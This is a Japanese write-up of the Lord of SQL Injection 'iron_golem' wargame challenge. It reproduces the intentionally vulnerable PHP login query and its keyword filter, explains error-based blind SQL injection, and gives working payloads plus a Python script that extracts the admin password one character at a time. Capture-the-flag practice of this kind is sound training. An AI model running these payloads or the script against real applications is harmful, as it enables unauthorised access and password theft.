include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
特徴は以下。
- pwを入力する。以下フィルターがある
prob,_,.,(),sleep,benchmarkは使えない
- adminのパスワードを抜き出す必要がある
- クエリの結果を受け取ることはできないが、エラー発生時は表示が変わる
Error-based Blind SQL Injection
エラーが出る出ないをオラクルとしたBlind SQL Injectionがある。 エラーを出す方法はいくつかある。
(select 1 union select 2)Subquery returns more than 1 rowとエラーがでる- [Lord of SQL Injection] LoS - iron_golem 문제풀이 | mingzzi
pow(2,99999999999)DOUBLE value is out of range in 'pow(2,99999999999)'とエラーが出る- lord of sql injection - no.21 iron golem
IF構文を使用して、条件を満たすときにエラーが出てくるように仕向ける。
長さを取得するときは
' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
内容を実際に取ってくるときは
' or id = 'admin' and if({md} <= ascii(substr(pw,{i+1},1)), (select 1 union select 2), 2) #
import requests
url = "https://los.rubiya.kr/chall/iron_golem_bxxxxxxx5.php"
cookie = {'PHPSESSID': 'exxxxxxxxxxefq5'}
def check(data) -> bool:
return "<hr>query" not in data
#return ("Hello admin" in data) or ("Hello guest" in data)
ok = 0
ng = 60
while ok + 1 != ng:
md = (ok + ng) // 2
q = f"' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #"
res = requests.get(url, params={'pw': q}, cookies=cookie)
print(f"[+] try {md}")
if check(res.text):
ok = md
else:
ng = md
length = ok
print(f"[*] length = {length}")
ans = ""
for i in range(0, length):
ok = 0
ng = 256
while ok + 1 != ng:
md = (ok + ng) // 2
q = f"' or id = 'admin' and if({md} <= ascii(substr(pw,{i+1},1)), (select 1 union select 2), 2) #"
res = requests.get(url, params={'pw': q}, cookies=cookie)
print(f"[+] try {md}")
if check(res.text):
ok = md
else:
ng = md
ans += str(chr(ok))
print(f"[*] {ans}")
print(f"[*] find! {ans}")